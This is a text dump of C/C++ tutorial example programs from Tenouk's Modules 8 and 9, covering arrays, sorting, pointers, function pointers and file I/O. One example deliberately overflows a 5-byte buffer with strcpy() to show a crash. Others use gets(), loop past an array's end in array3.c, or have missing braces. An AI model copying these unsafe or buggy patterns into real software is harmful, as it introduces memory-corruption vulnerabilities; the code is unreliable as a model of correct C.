file:///C|/Tutorial.txt (106 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

--------------------------------------------------------------------------------

//Compute the sum of the elements of an array


#include <stdlib.h>
#include <stdio.h>
#define SIZE 12

int main()
{
//declare and initialize the array named a
//with size SIZE
int a[SIZE] = {1,3,5,4,7,2,99,16,45,67,89,45};
//declare two normal variables
int i, total = 0;

//do the loop for the array...


for(i = 0; i <= (SIZE-1); i++)
{
//display the array and its element...
printf("\n a[%d]= %d", i, a[i]);
//total up the array
//total = total + a[i]
total += a[i];
}

printf("\nThe sum of the array elements is %d\n", total);

system("pause");
return 0;

-------------------------------------------------------------------------------

//Printing simple histogram


#include <stdio.h>
#include <stdlib.h>
#define SIZE 10

int main()
{
//declare and initialize an array named n
//with size SIZE...
int n[SIZE] = {19, 3, 15, 7, 11, 9, 13, 5, 17, 1};
int i, j;

//display the table header...


printf("%s%13s%17s\n","Element/index", "Value", "Histogram");

//do the iteration...


//outer for loop, read row by row...
for(i=0; i <= (SIZE-1); i++)
{
printf("%9d%15d ", i, n[i]);

file:///C|/Tutorial.txt (107 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//inner for loop, for every row, read column


//by column and print the bar...
for(j = 1; j<= n[i]; j++)
//print bar...repeat...
printf("*");
//go to new line for new row...repeats...
printf("\n");
}

system("pause");
return 0;
}

-------------------------------------------------------------------------------

//Sorting an array values into ascending order


#include <stdio.h>
#include <stdlib.h>
#define SIZE 10

int main()
{
int a[SIZE] = {34,6,41,58,0,12,89,-2,45,25};
int i, pass, hold;

printf("Data items in original order\n\n");


//displaying the original array...
for(i=0; i<=SIZE - 1; i++)
printf("%d ", a[i]);

//------do the sorting...ascending-------------


//for every array elements do this...
for(pass = 1; pass <= (SIZE-1); pass++)
//for every 2 array elements comparison do
//the comparison and swap...
for(i = 0; i <= (SIZE-2); i++)
//set the condition...
if(a[i] > a[i + 1])
{
//put the a[i] in temporary variable hold...
hold = a[i];
//put the a[i + 1] in a[i]
a[i] = a[i + 1];
//put the hold in a[i + 1], one swapping is
//completed...and repeat for other elements...
a[i + 1] = hold;
}

printf("\n\nData items in ascending order\n\n");


//display the new ordered list...
for (i=0; i <= (SIZE-1); i++)
printf("%4d", a[i]);
printf("\n\n");
system("pause");
return 0;
}

file:///C|/Tutorial.txt (108 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

--------------------------------------------------------------------------------------

//Initializing multidimensional arrays


//and function
#include <stdio.h>
#include <stdlib.h>

//function prototype
void printArray(int [][3]);

int main()
{
//declare 3 array with initial values...
int array1[2][3] = {{1,2,3}, {4,5,6}},
array2[2][3] = {{1,2,3},{4,5}},
array3[2][3] = {{1,2}, {4}};

printf("Element values in array1 by row are: \n");


//first time function call
printArray(array1);
printf("\nElement values in array2 by row are: \n");

//second time function call


printArray(array2);
printf("\nElement values in array3 by row are:\n");

//third time function call


printArray(array3);
printf("\nNOTICE THE DEFAULT VALUE 0...\n");
system("pause");
return 0;
}

//function definition, passing an array to function


void printArray(int a[][3])
{
int i, j;
//outer for loop, read row by row...
for(i = 0; i <= 1; i++)
{
//inner for loop, for every row, read column by column...
for(j=0; j<= 2; j++)
{
printf("[%d][%d] = %d ", i, j, a[i][j]);
}
printf("\n");
}
}

-----------------------------------------------------------------------------------

//program will sort a list of


//a strings entered by the user
#include <iostream.h>
#include <stdlib.h>

file:///C|/Tutorial.txt (109 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <string.h>

int main()
{
//declare two arrays named tname with 1-Dimension
//and name with 2-Dimension
char tname[20], name[20][20];
//normal variables...
int i, j, n;

cout<<"Enter the number of names: ";


cin>>n;

//outer loop for counter...


for(i=0; i<n; i++)
{
cout<<"\nEnter the name(one word) "<<(i+1)<<": ";
cin>>name[i];
}

//inner for loop, read row by row set outer for loop...
for(i=0; i<n-1; i++)
//innermost for loop, read column by column of the characters...
for(j = i+1; j<n; j++)
//set the condition...
//strcmp - compare the string standard library function
//do the sorting...
if(strcmp(name[i], name[j])>0)
{
//strcpy - copy the strings...
//compare and swap...
strcpy(tname, name[i]);
strcpy(name[i], name[j]);
strcpy(name[j], tname);
}
cout<<"\nSorted names:\n";
for (i =0; i<n; i++)
cout<<"\n"<<name[i];
cout<<endl;

system("pause");
return 0;
}

-------------------------------------------------VC++/VC++ .Net------------------------------------------------------

//Sorting array values into ascending order


#include <cstdio>
#define SIZE 10

int main()
{
int a[SIZE] = {-4,6,3,-20,0,1,77,-2,42,-10};
int i, pass, hold;

printf("Data items in original order\n\n");

file:///C|/Tutorial.txt (110 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//displaying the original array...


for(i=0; i<=SIZE - 1; i++)
printf("%d ", a[i]);

//------do the sorting...ascending-------------


//for every array elements do this...
for(pass = 1; pass <= (SIZE-1); pass++)
//for every 2 array elements comparison do
//the comparison and swap...
for(i = 0; i <= (SIZE-2); i++)
//set the condition...
if(a[i] > a[i + 1])
{
//put the a[i] in temporary variable hold...
hold = a[i];
//put the a[i + 1] in a[i]
a[i] = a[i + 1];
//put the hold in a[i + 1], one swapping is
//completed...and repeats for other elements...
a[i + 1] = hold;
}

printf("\n\nData items in ascending order\n\n");


//display the new ordered list...
for(i=0; i <= (SIZE-1); i++)
printf("%4d", a[i]);
printf("\n\n");
return 0;
}

---------------------------------------------------------------------------------------------------

//The iostream(.h) header file actually for Standard C++...in Microsoft and Borland it
//is used during the standard development...so used <iostream> for C++...not in C...
//in C use stdio.h....read more in http://www.tenouk.com/Module23.html
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[])


{
//reserve 5 byte of buffer....
//should allocate 8 bytes = 2 double words,
//to overflow, need more than 8 bytes...
//so, if more than 8 characters input by user,
//there will be access violation, segmentation fault etc
char mybuffer[5];
//a prompt how to execute the program...
if(argc < 2)
{
printf("strcpy() NOT executed....\n");
printf("Syntax: %s <characters>\n", argv[0]);
exit(0);
}

file:///C|/Tutorial.txt (111 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//copy the user input to mybuffer...


strcpy(mybuffer, argv[1]);
printf("mybuffer content= %s\n", mybuffer);
printf("strcpy() executed...\n");
return 0;
}

----------------------------------GCC on Linux/Fedora---------------------------------------

/************array3.c**************/
/*program to find the smallest number in an array named balance*/
/*simple search function*/
#include <stdio.h>
#define n 7

int main()
{
int i;
int small, balance[n];

/**loop for displaying array content....*/


for(i=0; i<=n; i++)
{
printf("Key in float value, let me ... for you: ");
scanf("%d", &balance[i]);
}

/*printing the element...*/


for(i=0; i<=n; i++)
printf("%d ", balance[i]);

small = balance[0];
/*Another loop do the array element comparing...*/
for(i=1; i<=n; i++) /*check until i=n*/
{
if(small > balance[i])
small = balance[i];
}

printf("\nComparing...");
/*display the result...*/
printf("The smallest value in the given array is = %d \n", small);
return 0;
}

-------------------------------------------------------------------------------------

/************array1.c*****************/
/*Simple sorting program that sort a list of n*/
/*integer numbers, entered by the user (ascending)*/
#include <stdio.h>
#define maxsize 100

int main()
{
int temp, i, j, n, list[maxsize];

file:///C|/Tutorial.txt (112 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf("\n--You are prompted to enter your list size.--");


printf("\n--Then, for your list size, you are prompted to enter--");
printf("\n--the element of your list.--");
printf("\n--Finally your list will be sorted ascending--\n");

/*get the list size...*/


printf("\nEnter your list size: ");
scanf(" %d", &n);

/*prompting the data from user store in the list...*/


for(i=0; i<n; i++)
{
printf("Enter list's element #%d -->", i);
scanf("%d", &list[i]);
}

//do the sorting...


for(i=0; i<n-1; i++)
for(j=i+1; j<n; j++)
if(list[i] > list[j])
{
/*These three lines swap the elements*/
/*list[i] and list[j].*/
temp = list[i];
list[i] = list[j];
list[j] = temp;
}
printf("\nSorted list, ascending: ");

for(i=0; i<n; i++)


printf(" %d", list[i]);
printf("\n");
return 0;
}

-------------------------------------------------------------------------------------

/**********************array2.c********************/
/*Printing 3x3 array's subscript and their element*/
#include <stdio.h>
#define m 3
#define n 3

int main()
{
int i, j;
int x[m][n];

printf("\n3x3 arrays' subscripts and\n");


printf("their respective elements\n");
printf("--------------------------\n");

for(i=0; i<m; i++)


for(j=0; j<n; j++)
{

file:///C|/Tutorial.txt (113 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf("Enter int values for ur array lol!: ");


scanf("%d", &x[i][j]);
}
/*outer for loop, reading the row by row...*/
for(i=0; i<m; i++)
/*inner loop, for every row, read every column by column...*/
for(j=0; j<n; j++)
printf("x[%d][%d] = %d\n", i, j, x[i][j]);
return 0;
}

===============================MODULE8=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.

file:///C|/Tutorial.txt (114 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

It should be C++ header, <iostream> so that it comply to the standard.


In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
int *m;

int location = 200;


m = &location;

printf("The data, *m = %d\n",*m);


printf("The address where the data pointed to, m = %d\n", m);

system("pause");
return 0;
}

-----------------------------------------------------------------------------------

// program to illustrate the basic use of pointers


//**********C++*****************
#include <iostream>
// using C header in C++
#include <cstdlib>
using namespace std;

void main()
{
//declares an integer variable and two pointers variables
int num = 10, *point_one, *point_two;

//assigns the address of variable num to pointer point_one


point_one = &num;

//assigns the (address) point_one to point_two


point_two = point_one;

cout<<"Pointers variables..."<<endl;
cout<<"*point_one = "<<*point_one<<"\n";
cout<<"*point_two = "<<*point_two<<"\n";

cout<<"\nNormal variable..."<<endl;
cout<<"num = "<<num<<"\n";

// displays value 10 stored in num since point_one


// and point_two now point to variable num
cout<<"\n-Both pointer point_one and"<<"\n";

file:///C|/Tutorial.txt (115 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"-point_two point to the same variable num."<<"\n";


cout<<"-That is why, they have same value, 10."<<endl;

system("pause");
}

-------------------------------------------------------------------------------------

//Basic pointer use


#include <stdio.h>
#include <stdlib.h>

void main()
{
//Declare and initialize an int variable
int var = 34;
//Declare a pointer to int variable
int *ptr;
//Initialize ptr to point to variable var
ptr = &var;

//Access var directly and indirectly


printf("\nDirect access, variable var value = var = %d", var);

//you can use %p for the pointer memory address directly or


//%0x or %0X in hexadecimal representative instead of
//%d, just to avoid confusion here…
printf("\nIndirect access, variable var value = *ptr = %d", *ptr);

//Display the address of var two ways


printf("\n\nThe memory address of variable var = &var = %d", &var);
printf("\nThe memory address of variable var = ptr = %d\n", ptr);

system("pause");
}

--------------------------------------------------------------------------------------

#include <stdio.h>
#include <stdlib.h>

int main()
{

int *thepointer;
thepointer = NULL;

//do some testing....


printf("The thepointer pointer is pointing to = %X\n", thepointer);
printf("The thepointer pointer is pointing to = %d\n", thepointer);

system("pause");
return 0;
}

--------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (116 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//Array, pointer and string


#include <stdio.h>

void main()
{
//an array variable of type char, sized 79
char sentence[80];

//prompt for user input...


printf("Enter a line of text:\n");
//read the user input...
gets(sentence);
//display what has been read by gets()
printf("Line of text entered: \n%s\n", sentence);
getchar();
}

----------------------------------------------------------------------------------------

//demonstrates the relationship between addresses


//and elements of arrays of different data type
#include <stdio.h>
#include <stdlib.h>

void main()
{
//declare three arrays and a counter variable
int i[10], x;
float f[10];
double d[10];

//print the table heading


printf("\nArray's el. add of i[x] add of f[x] add of d[x]");
printf("\n|================================");
printf("======================|");

//print the addresses of each array element


for(x=0; x<10; x++)
printf("\nElement %d:\t%p\t%p\t%p",x,&i[x],&f[x],&d[x]);

printf("\n|================================");
printf("======================|\n");
printf("\nLegends:");
printf("\nel.- element, add - address\n");
printf("\ndifferent pc, shows different addresses\n");

system("pause");
}

---------------------------------------------------------------------------------------------

//demonstrates the use of pointer arithmetic to access


//array elements with pointer notation
#include <stdio.h>
#include <stdlib.h>

file:///C|/Tutorial.txt (117 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#define MAX 10

void main()
{
//declare and initialize an integer array
int array1[MAX] = {0,1,2,3,4,5,6,7,8,9};
//declare a pointer to int and an int variable
int *ptr1, count;
//declare and initialize a float array
float array2[MAX] = {0.0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9};
//declare a pointer to float
float *ptr2;

//initialize the pointers


//just an array name is the pointer to the
//1st array element, both left value and right value
//of the expression are pointers types...
ptr1 = array1;
ptr2 = array2;

//print the array elements


printf("\narray1 values array2 values");
printf("\n-------------------------");

//iterate or loop the arrays and display the content...


for(count = 0; count < MAX; count++)
printf("\n%d\t\t%f", *ptr1++, *ptr2++);
printf("\n-------------------------\n");

system("pause");
}

-----------------------------------------------------------------------------------------------

//program that passes a pointer array to a function


#include <iostream.h>
#include <stdlib.h>

//function prototype for viewArray


void viewArray(int *[]);

void main()
{
//declare and initialize the array variables...
int i,*arrayPtr[7], var[7]={3,4,4,2,1,3,1};

//loop through the array...


for(i=0; i<7; i++)
//arrayPtr[i] is assigned with
//the address of var[i]
arrayPtr[i] = &var[i];

//A call to function viewArray,


//pass along the pointer to the
//1st array element
viewArray(arrayPtr);

file:///C|/Tutorial.txt (118 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<endl;

system("pause");
}

//function prototype...
//arrayPtr is now passed to parameter q,
//q[i] now points to var[i]
void viewArray(int *q[])
{
int j;

//displays the element var[i] pointed to by q[j]


//followed by a space. No value is returned
//and control reverts to main()
for(j = 0; j < 7; j++)
cout<<*q[j]<<" ";

----------------------------------------------------------------------------------------------

/*program to print arguments from command line*/


/*run this program at the command prompt*/
#include <stdio.h>

/*or int main(int argc, *argv[])*/


int main(int argc, char **argv)
{
int i;

printf("argc = %d\n\n", argc);

for (i=0; i<argc; ++i)


printf("argv[%d]: %s\n", i, argv[i]);

return 0;
}

----------------------------------------------------------------------------------------------

// pointer to pointer...
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
int **theptr;
int *anotherptr;

int data = 200;


anotherptr = &data;

// assign the second pointer address to


// the first pointer...
theptr = &anotherptr;

file:///C|/Tutorial.txt (119 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf("The actual data, **theptr = %d\n", **theptr);


printf("\nThe actual data, *anotherptr = %d\n", *anotherptr);
printf("\nThe first pointer pointing to an address, theptr = %p\n", theptr);
printf("\nThis should be the second pointer address, &anotherptr = %p\n", &anotherptr);
printf("\nThe second pointer pointing to address(= hold data),\nanotherptr = %p\n", anotherptr);
printf("\nThen, its own address, &anotherptr = %p\n", &anotherptr);
printf("\nThe address of the actual data, &data = %p\n", &data);
printf("\nNormal variable, the data = %d\n", data);

system("pause");
return 0;
}

-----------------------------------------------------------------------------------------------

/* Invoking function using function pointer */


#include <stdio.h>

int somedisplay();

int main()
{
int (*func_ptr)();

/* assigning a function to function pointer


as normal variable assignment */
func_ptr = somedisplay;

/* checking the address of function */


printf("\nAddress of function somedisplay() is %p", func_ptr);

/* invokes the function somedisplay() */


(*func_ptr)() ;
return 0;
}

int somedisplay()
{
printf("\n--Displaying some texts--\n");
return 0;
}

-------------------------------------------------------------------------------------------------

#include <stdio.h>

/* function prototypes */
void funct1(int);
void funct2(int);

/* making FuncType an alias for the type


'function with one int argument and no return value'.
This means the type of func_ptr is 'pointer to function
with one int argument and no return value'. */
typedef void FuncType(int);

file:///C|/Tutorial.txt (120 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int main(void)
{
FuncType *func_ptr;

/* put the address of funct1 into func_ptr */


func_ptr = funct1;
/* call the function pointed to by func_ptr with an argument of 100 */
(*func_ptr)(100);

/* put the address of funct2 into func_ptr */


func_ptr = funct2;
/* call the function pointed to by func_ptr with an argument of 200 */
(*func_ptr)(200);
return 0;
}

/* function definitions */
void funct1 (testarg)
{printf("funct1 got an argument of %d\n", testarg);}

void funct2 (testarg)


{printf("funct2 got an argument of %d\n", testarg);}

------------------------------------------------------------------------------------------------

/* An array of pointers to function */


#include <stdio.h>

/* functions' prototypes */
int fun1(int, double);
int fun2(int, double);
int fun3(int, double);
/* an array of a function pointers */
int (*p[3]) (int, double);

int main()
{
int i;

/* assigning address of functions to array pointers */


p[0] = fun1;
p[1] = fun2;
p[2] = fun3;

/* calling an array of function pointers with arguments */


for(i = 0; i <= 2; i++)
(*p[i]) (100, 1.234);

return 0;
}

/* functions' definition */
int fun1(int a, double b)
{
printf("a = %d b = %f", a, b);

file:///C|/Tutorial.txt (121 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

return 0;
}

int fun2(int c, double d)


{
printf("\nc = %d d = %f", c, d);
return 0;
}

int fun3(int e, double f)


{
printf("\ne = %d f = %f\n", e, f);
return 0;
}

--------------------------------------------------------------------------------------------------

// pointer to a function
#include <iostream.h>
#include <stdlib.h>

// function prototypes...
float minimum(float, float);
// (*ptr) is a pointer to function of type float
float (*ptr)(float, float);

void main()
{
float x1, x2, small;
// Assigning address of minimum() function to ptr
ptr = minimum;

cout<<"\nEnter two numbers, separated by space: ";


cin>>x1>>x2;

// call the function pointed by ptr small


// has the return value
small = (*ptr)(x1, x2);

cout<<"\smaller number is "<<small<<endl;

system("pause");
}

float minimum(float y1, float y2)


{
if (y1 < y2)
return y1;
else
return y2;
}

------------------------------------------------------------------------------------------------------

#include <stdio.h>

file:///C|/Tutorial.txt (122 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

/* void pointer */
int func(void *thePtr);

int main()
{
/* assigning a string to the pointer */
char *theStr = "abcd1234";

//function call
func(theStr);
return 0;
}

int func(void *thePtr)


{
printf("%s\n", thePtr);
return 0;
}

----------------------------------------------------------------------------------------------------

//Program that changes the value of a pointer variable


#include <iostream>
using namespace std;

void main()
{
//declare and initialize two
//float variables
float var1 = 58.98;
float var2 = 70.44;
//declare a float pointer variable
float *ptr_var;

//make ptr_var point to variable var1...


ptr_var = &var1;

//prints 58.98
cout<<"\nThe first value is(var1) "<<*ptr_var;
cout<<"\nThe address of the first data is "<<ptr_var<<"\n";
cout<<"\nThen let the same pointer (*ptr_var)";
cout<<"\npoint to other address...\n";

//make ptr_var point to variable var2...


ptr_var = &var2;

//prints 70.44
cout<<"\nThe second value is(var2) "<<*ptr_var;
cout<<"\nThe address of the second data is "<<ptr_var<<endl;
}

-----------------------------------------------------------------------------------------------------

//Illustrates that function receives addresses


//of variables and then alters their contents
#include <iostream>

file:///C|/Tutorial.txt (123 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

using namespace std;

void main()
{
int x = 4, y = 7;
//function prototype...
void addcon(int*, int*);

cout<<"\nInitial value of x = "<<x;


cout<<"\nInitial value of y = "<<y;
cout<<"\nThen calls function addcon()\n";
cout<<"\nBringing along the &x = "<<&x<<endl;
cout<<"and &y = "<<&y<<"\n";
cout;

//function call, address of x any y are passed to addcon()


addcon(&x, &y);

cout<<"\nAdd 10...";
cout<<"\nNew value of x = "<<x;
cout<<"\nminus 10...";
cout<<"\nNew value of y = "<<y<<endl;
}

//function definition
//parameters are pointers...
void addcon(int *px, int *py)
{
//Adds 10 to the data stored in memory pointed to by px
*px = *px + 10;
//minus 10 to the data stored in memory pointed to by py
*py = *py - 10;
}

---------------------------------------------------------------------------------------------------------

//A program that uses pointers to print


//the values of an array
#include <iostream>
using namespace std;

void main()
{
//declare and initialize an array nums
int nums[] = {92,81,70,69,58};

cout<<"\nArray's element Memory address";


cout<<"\n----------------------------------";

//using for loop, displays the elements


//of nums and their respective memory address
for(int dex=0; dex<5; dex++)
cout<<"\n\t"<<*(nums + dex)<<"\t\t"<<(nums + dex);
cout<<"\n----------------------------------\n";
}

file:///C|/Tutorial.txt (124 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

-------------------------------------------------------------------------------------------------------

//To compute the average of an arbitrary number


//of temperature readings...VC++/VC++ .Net
#include <iostream>
using namespace std;

void main()
{
float temper[40], sum = 0.0, *ptr;
int num, day = 0;

//set a pointer to an array...


ptr = temper;

do
{
cout<<"Enter temperature for day "<<++day;
//prompt for input user input...
cout<<"\n(0-Terminate, Enter-Proceed): ";
//store in an array, pointed by ptr...
cin>>*ptr;
} while ((*ptr++) > 0);
//Test if data entered is 0,
//then point to the next array position

//reset the pointer ptr to an array temper


ptr = temper;
num = (day – 1);

//looping through the array temper...


for(day = 0; day < num; day++)
//do the summing up...
sum += *(ptr++);
//display the result...
cout<<"\nAverage temperature = "<<(sum/num)<<" Degree Celsius"<<endl;
cout<<"for "<<num<<" readings"<<endl;
}

-------------------------------------------------------------------------------------------------------

//using subscript and pointer notations with arrays


#include <stdio.h>
#include <stdlib.h>

void main()
{
int i, offset, b[] = {10, 20, 30, 40};
//set bPtr to point to array b
int *bPtr = b;

printf("So many notations?????....\n");


//....separating code in multiple lines
printf("Array b printed with: \n"
"Array subscript notation\n");

file:///C|/Tutorial.txt (125 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

for(i=0; i<=3; i++)


printf("b[%d] = %d\n", i, b[i]);
printf("\nPointer/offset notation where \n"
"the pointer is the array name\n");

for(offset = 0; offset <=3; offset++)


printf("*(b + %d) = %d\n", offset, *(b + offset));
printf("\nPointer subscript notation\n");

for(i=0; i<=3; i++)


printf("bPtr[%d] = %d\n",i,bPtr[i]);
printf("\nPointer/offset notation\n");

for(offset = 0; offset <=3; offset++)


printf("*(bptr + %d) = %d\n", offset, *(bPtr + offset));
system("pause");
}

---------------------------------------------VC++/VC++ .Net-----------------------------------------------------

//Program that changes the value of a pointer variable


//compiled using VC++/VC++ .Net, C++ codes…
#include <iostream>
using namespace std;

void main()
{
//declare and initialize two
//float variables
double var1 = 58.98;
double var2 = 70.44;
//declare a float pointer variable
double *ptr_var;

//make ptr_var point to variable var1...


ptr_var = &var1;

//prints 58.98
cout<<"The first value is(var1) "<<*ptr_var;
cout<<"\nThe address of the first data is "<<ptr_var<<"\n";
cout<<"\nThen let the same pointer (*ptr_var)";
cout<<"\npoint to other address...\n";

//make ptr_var point to variable var2...


ptr_var = &var2;

//prints 70.44
cout<<"\nThe second value is(var2) "<<*ptr_var;
cout<<"\nThe address of the second data is "<<ptr_var<<endl;
}

--------------------------------------------GCC on Linux/Fedora-----------------------------------------------

/********* myptr.c *************/


#include <stdio.h>

file:///C|/Tutorial.txt (126 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int main()
{
int i, offset, b[] = {10, 20, 30, 40};
//set bPtr to point to array b
int *bPtr = b;

printf("So many notations?????....\n");


//....separating code in multiple lines
printf("Array b printed with: \n"
"Array subscript notation\n");

for(i=0; i<=3; i++)


printf("b[%d] = %d\n", i, b[i]);
printf("\nPointer/offset notation where \n"
"the pointer is the array name\n");

for(offset = 0; offset <=3; offset++)


printf("*(b + %d) = %d\n", offset, *(b + offset));
printf("\nPointer subscript notation\n");

for(i=0; i<=3; i++)


printf("bPtr[%d] = %d\n", i, bPtr[i]);
printf("\nPointer/offset notation\n");

for(offset = 0; offset <=3; offset++)


printf("*(bptr + %d) = %d\n", offset, *(bPtr + offset));
return 0;
}

------------------------------------------G++ Linux/Fedora--------------------------------------------------------

/////////////////funcref.cpp//////////////////
//Illustrates a function that receives addresses
//of variables and then alters their contents
#include <iostream>
using namespace std;

int main()
{
int x = 4, y = 7;

//function prototype...
void addcon(int*, int*);

cout<<"\nInitial value of x = "<<x;


cout<<"\nInitial value of y = "<<y;
cout<<"\nThen calls function addcon()\n";
cout<<"\nBringing along the &x = "<<&x<<endl;
cout<<"and &y = "<<&y<<"\n";
cout;

//function call, address of x any y are passed to addcon()


addcon(&x, &y);

cout<<"\nAdd 10...";
cout<<"\nNew value of x = "<<x;

file:///C|/Tutorial.txt (127 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"\nminus 10...";
cout<<"\nNew value of y = "<<y<<endl;
return 0;
}

//function definition
//parameters are pointers...
void addcon(int *px, int *py)
{
//Adds 10 to the data stored in memory pointed to by px
*px = *px + 10;
//minus 10 to the data stored in memory pointed to by py
*py = *py - 10;
}

=============================MODULE9=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{

file:///C|/Tutorial.txt (128 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

//Opening and closing file example


#include <stdio.h>
#include <stdlib.h>

//SUCCESS = 0, FAIL = 1 using enumeration


enum {SUCCESS, FAIL};

int main (void)


{
FILE *fptr;
//the filename is tkk1103.txt and located
//in the same folder as this program
char filename[] = "tkk1103.txt";

//set the value reval to 0


int reval = SUCCESS;
//test opening file for reading, if fail...
if((fptr = fopen(filename, "r")) == NULL)
{
printf("Cannot open %s.\n", filename);
reval = FAIL; //reset reval to 1
}
//if successful do...
else
{
printf("Opening the %s file successfully\n", filename);
//the program will display the address where
//the file pointer points to..
printf("The value of fptr: 0x%p\n", fptr);
printf("\n....file processing should be done here....\n");
printf("\nReady to close the %s file.\n", filename);
//close the file stream...
if(fclose(fptr)==0)
printf("Closing the %s file successfully\n", filename);
}
//for Borland…can remove the following pause and the library,
//stdlib.h for other compilers
system("pause");
return reval;
}

------------------------------testtwo.txt--------------------------------------------------

file:///C|/Tutorial.txt (129 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

OPENING, READING, WRITING AND CLOSING FILE


-------------------------------------------
Testing file. This file named testtwo.txt.
After opening files for reading and writing,
without error, content of this file (testtwo.txt)
will be read and output (write) to the other
file named testone.txt and standard
output(screen/console) character by character!!!

---HAPPY LEARNING FOLKS!!!----


--------------------------------------------------------------------------------------------

//Reading and writing one character at a time


#include <stdio.h>
#include <stdlib.h>

//enumerated data type, SUCCESS = 0, FAIL = 1


enum {SUCCESS, FAIL};

//prototype function for reading from and writing...


void CharReadWrite(FILE *fin, FILE *fout);

int main()
{
//declare two file pointers...
FILE *fptr1, *fptr2;
//define the two files name...
char filename1[] = "testone.txt";
char filename2[] = "testtwo.txt";
int reval = SUCCESS;

//test the opening filename1 for writing....


//if fails....
if ((fptr1 = fopen(filename1, "w")) == NULL)
{
printf("Problem, cannot open %s.\n", filename1);
reval = FAIL;
}
//if opening filename1 for writing is successful,
//test for opening for reading filename2, if fails...
else if ((fptr2 = fopen(filename2, "r")) == NULL)
{
printf("Problem, cannot open %s.\n", filename2);
reval = FAIL;
}
//if successful opening for reading from filename2
//and writing to filename1...
else
{
//function call for reading and writing...
CharReadWrite(fptr2, fptr1);
//close both files...
if(fclose(fptr1)==0)
printf("%s close successfully\n", filename1);
if(fclose(fptr2)==0)
printf("%s close successfully\n", filename2);

file:///C|/Tutorial.txt (130 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

}
//For Borland if compiled using its IDE…
system("pause");
return reval;
}

//read write function definition


void CharReadWrite(FILE *fin, FILE *fout)
{
int c;
//if the end of file is reached, do...
while ((c = fgetc(fin)) != EOF)
{
//write to a file...
fputc(c, fout);
//display on the screen...
putchar(c);
}
printf("\n");
}

------------------------------------testfour.txt-------------------------------------

OPENING, READING, WRITING one line of characters


----------------------------------------------------
This is file testfour.txt. This file's content will
be read line by line of characters till no more line
of character found. Then, it will be output to the
screen and also will be copied to file testhree.txt.
Check the content of testhree.txt file...
----------------------------------------------------
------------------HAVE A NICE DAY-------------------

-------------------------------------------------------------------------------------

